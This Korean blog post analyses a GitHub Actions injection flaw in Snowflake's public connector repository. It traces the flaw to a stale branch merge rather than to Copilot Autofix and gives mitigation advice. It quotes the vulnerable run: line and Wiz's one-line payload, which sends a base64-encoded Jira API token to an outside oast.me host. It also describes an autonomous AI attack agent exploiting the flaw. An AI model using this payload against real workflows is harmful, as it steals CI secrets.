Devlery
Blog/Microsoft

AI 공격 에이전트가 연 Snowflake 내부 Jira, 원인은 10개월 묵은 브랜치 병합

Wiz의 자율 공격 에이전트가 GitHub 이슈 제목에 명령을 넣어 Snowflake 내부 Jira 토큰을 꺼냈습니다. Copilot Autofix가 취약점을 만들었다는 보도와 달리, 커밋 기록에는 10개월 묵은 브랜치가 2025년 12월 보안 수정을 덮은 흔적이 남아 있습니다.

AI 공격 에이전트가 연 Snowflake 내부 Jira, 원인은 10개월 묵은 브랜치 병합
AI 요약
  • GitHub 이슈 제목에 넣은 명령으로 Snowflake 내부 Jira 토큰이 빠져나갔습니다.
  • Copilot Autofix가 만든 취약점이라는 보도와 커밋 기록이 어긋납니다.
  • 10개월 묵은 브랜치 병합이 2025년 12월 보안 수정을 덮었습니다.

누구나 GitHub 이슈 하나만 열면 남의 CI 서버에서 명령을 실행할 수 있는 구멍이, Snowflake의 공개 저장소에 5일 동안 열려 있었습니다. 클라우드 보안 업체 Wiz는 2026년 8월 17일 연구 블로그에서 자사 자율 공격 에이전트 "Wiz Red Agent"가 그 구멍을 사람 개입 없이 찾아내 실제로 익스플로잇했고 거기서 얻은 토큰으로 Snowflake 내부 Jira에 접근했다고 밝혔습니다.

Wiz가 붙인 제목은 "GitHub Copilot이 관여한 PR의 결함"이었습니다. The Register와 다수 매체가 "AI가 코드를 망가뜨렸고 다른 AI가 그걸 익스플로잇했다"는 구도로 받아썼습니다. 그런데 문제의 저장소 커밋 기록을 직접 열어 보면 그림이 다릅니다. Copilot Autofix 표시가 붙은 커밋은 취약한 파일이 아니라 옆 파일을 안전하게 고친 커밋이었습니다.

이슈 제목에 넣은 따옴표 하나

GitHub Actions는 워크플로우 파일 안의 ${{ ... }} 표현식을 셸이 실행되기 전에 문자열로 갈아 끼웁니다. 그래서 이슈 제목 값을 run: 블록 안에 직접 넣으면, 제목에 따옴표와 세미콜론을 섞어 쓴 사람이 러너에서 원하는 명령을 그대로 돌릴 수 있습니다. 값을 env:로 옮겨 환경변수로 받으면 이 치환 자체가 일어나지 않습니다. GitHub이 권장하는 완화책도 그쪽입니다.

문제가 된 snowflakedb/snowflake-connector-netjira_issue.yml은 이슈가 열릴 때마다 제목과 본문으로 Jira 티켓을 자동 생성하는 워크플로우입니다. 6월 시점의 코드는 제목을 env: 없이 셸 안에서 받고 있었습니다.

run: |
  # Escape special characters in title and body
  TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")

작은따옴표를 이스케이프하려던 sed가 정작 첫 따옴표를 막지 못합니다. Wiz가 공개한 페이로드는 그 틈으로 들어가 echo 문자열을 닫고 자기 명령을 이어 붙인 뒤 다시 열어 둡니다.

' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`" ; echo '

이 한 줄로 러너 환경의 Jira API 토큰과 계정 이메일, Jira 주소가 base64로 인코딩돼 외부 주소로 빠져나갔습니다. Wiz는 유출된 토큰이 qa@snowflake.net 계정으로 인증되며 엔지니어링·보안 컴플라이언스·버그 바운티 추적 프로젝트에 읽기 접근이 열렸다고 밝혔습니다. 에이전트는 첫 시도가 실패하자 페이로드 문법을 스스로 바꿔 다시 시도했습니다. 코딩 에이전트에게 준 권한이 실제로 어디까지 새는지는 명령 승인 40만 건을 분석한 조사에서도 같은 결이 나왔습니다.

GitHub 커밋 094038e의 변경 내역. run 블록 안에 이슈 제목 표현식을 echo로 감싼 TITLE 줄이 초록색으로 추가되고, 그 아래 gajira-create 액션 호출이 붉은색으로 삭제되어 있다

Snowflake는 6월 23일 HackerOne으로 제보를 받은 뒤 같은 날 PR #1402로 패치했고 다음 날 Jira 토큰을 교체했습니다. 회사는 "즉시 조사해 조치했으며 무단 접근 증거는 발견되지 않았다"고 밝혔습니다.

Copilot이 고친 파일은 옆 파일이었다

커밋 기록에서 확인되는 사실은 보도된 것과 다릅니다. GitHub API로 PR #1218의 커밋 네 개를 열어 보면, Copilot Autofix powered by AI가 공동 작성자로 적힌 커밋은 2025년 8월 7일자 6d0e2fa 하나뿐입니다. 이 커밋이 바꾼 파일은 jira_issue.yml이 아니라 jira_close.yml 한 개이고, 바꾼 내용은 이렇습니다.

# 삭제됨
run: |
  ISSUE_KEY="${{ steps.extract.outputs.jira }}"
  JIRA_API_URL="${{ secrets.JIRA_BASE_URL }}/rest/api/2/issue/${ISSUE_KEY}/transitions"

# 추가됨
env:
  ISSUE_KEY: ${{ steps.extract.outputs.jira }}
  JIRA_BASE_URL: ${{ secrets.JIRA_BASE_URL }}
run: |
  JIRA_API_URL="${JIRA_BASE_URL}/rest/api/2/issue/${ISSUE_KEY}/transitions"

Copilot Autofix가 제안한 것은 정확히 인젝션 방어 패턴이었습니다. 셸 안의 표현식을 env:로 빼내는, 6월에 사라졌던 바로 그 방식입니다.

GitHub 커밋 6d0e2fa 화면. 커밋 메시지에 Co-authored-by: Copilot Autofix powered by AI 트레일러가 적혀 있고 1 file changed, jira_close.yml만 변경됐다고 표시된다

인젝션을 실제로 들여온 커밋은 2주 뒤인 8월 25일자 094038e입니다. Snowflake 엔지니어가 작성했습니다. Copilot 트레일러는 없습니다. 두 커밋이 같은 브랜치에 있었기 때문에, squash 병합으로 하나가 된 최종 커밋에 Copilot 공동 작성자 표시가 함께 딸려 왔습니다. 취약한 줄과 AI 표시가 같은 커밋 메시지에 담긴 것은 병합 방식의 결과이지 저자 정보가 아닙니다.

GitHub은 내부 검토 뒤 Forbes에 "취약점으로 이어진 기여는 사람이 작성했고 Copilot이 검토하거나 기여하지 않았다"고 밝혔습니다. Wiz도 공개 당일 본문에 "Copilot은 병합된 PR과 코드 변경을 확인한 공동 작성자였고, 핵심 취약점을 알아채지 못한 채 이상 없음으로 판정했다"는 문장을 덧붙였습니다. 두 설명은 지금도 서로 어긋나 있습니다. Hacker News 스레드에서는 커밋 094038e를 근거로 사람 작성임을 지적한 댓글이 상위로 올라갔고 글쓴이가 이를 받아들였습니다. AI 이름이 붙은 산출물이 검증 없이 그대로 유통되는 문제는 AI가 지어낸 SQLite 취약점 6건이 NVD에 오른 사건과 구조가 같습니다.

10개월을 건너뛴 브랜치가 보안 수정을 덮었다

그렇다면 왜 6월에 갑자기 안전하지 않은 코드가 master에 들어왔을까요. jira_issue.yml의 master 변경 이력을 따라가면 답이 나옵니다.

2025년 8월 25일

브랜치 update-jira-close-workflow에서 Jira 생성 로직을 curl로 교체하며 셸 안에 표현식을 직접 넣음

2025년 12월 8일

PR #1289가 master의 같은 파일을 env: 변수와 jq --arg 방식으로 하드닝

2026년 6월 18일

10개월 전 브랜치가 PR #1218로 병합되며 12월 하드닝을 덮어씀

2026년 6월 23일

Wiz Red Agent가 발견·익스플로잇, 같은 날 PR #1402로 env: + jq 복원

Snowflake는 이 결함을 이미 한 번 고쳐 뒀습니다. 2025년 12월 8일 PR #1289가 제목과 본문을 ISSUE_TITLE 환경변수로 받고 jq -n --arg로 JSON을 만들도록 바꿨습니다. 그 뒤 2026년 6월 18일, 2025년 8월에 만들어진 브랜치가 그대로 병합되면서 반년 전 보안 수정이 되감겼습니다. PR #1218의 설명문에는 jira_close.yml을 정리한다고만 적혀 있었습니다. 실제로 바뀐 곳은 jira_issue.yml이었고 여기서 90줄이 삭제되고 60줄이 추가됐습니다.

리뷰가 어려운 조건이 겹쳐 있었습니다. PR 본문이 언급하지 않은 파일이 함께 바뀌었고, 브랜치와 master의 코드는 10개월 동안 서로 다른 방향으로 갔으며, 워크플로우 YAML은 테스트로 잡히지 않습니다. 저장소의 .github/workflows 목록에는 CodeQL 설정 파일이 없고 semgrep.yml만 있습니다. GitHub의 default setup이 켜져 있었는지는 외부에서 확인할 수 없습니다. 적어도 워크플로우 파일을 겨냥한 정적 분석이 저장소에 커밋된 형태로는 없었습니다.

같은 줄이 내 저장소에 있는지 확인하기

점검 도구는 지금 바로 쓸 수 있고 대부분 비용이 들지 않습니다. 확인한 조건은 이렇습니다.

항목zizmorCodeQL Actions 분석
형태로컬·CI에서 도는 CLIGitHub code scanning 기능
비용무료(MIT)비공개 저장소는 GitHub Code Security 라이선스 필요
필요 조건설치 후 zizmor .github/workflowsdefault setup 활성화 또는 advanced setup에 actions 언어 추가
한국 사용가능, 지역 제한 없음가능, 지역 제한 없음

Copilot Autofix는 별도 구독 없이 CodeQL 분석에 딸려 옵니다. 다만 문서가 밝힌 수정 생성 지원 범위는 C#, Go, Java/Kotlin, JavaScript/TypeScript, Python, Ruby, Rust 같은 프로그래밍 언어입니다. Actions 워크플로우 쪽은 2025년 4월 GA 공지에서 actions/missing-workflow-permissions 질의에 대한 자동 수정이 추가됐다고만 밝혔습니다. 워크플로우 인젝션까지 AI가 알아서 잡아 줄 것으로 전제하고 설계하면 안 됩니다.

오늘 할 수 있는 일은 짧습니다. zizmor .github/workflows를 한 번 돌려 run: 블록 안에 ${{ github.event.* }}가 직접 들어간 줄이 있는지 보면 됩니다. 있으면 값을 env:로 옮깁니다. 이번 사고의 진짜 방아쇠는 오래 묵은 브랜치를 병합한 것이었습니다. 같은 상황을 앞두고 있다면 그 사이 master에 들어간 보안 수정이 되감기는지 diff에서 직접 확인하는 절차를 리뷰 규칙에 넣어 두면 됩니다. Wiz의 공격 에이전트가 공개 저장소를 훑는 데 걸린 시간은 결함이 master에 올라온 지 5일이었습니다.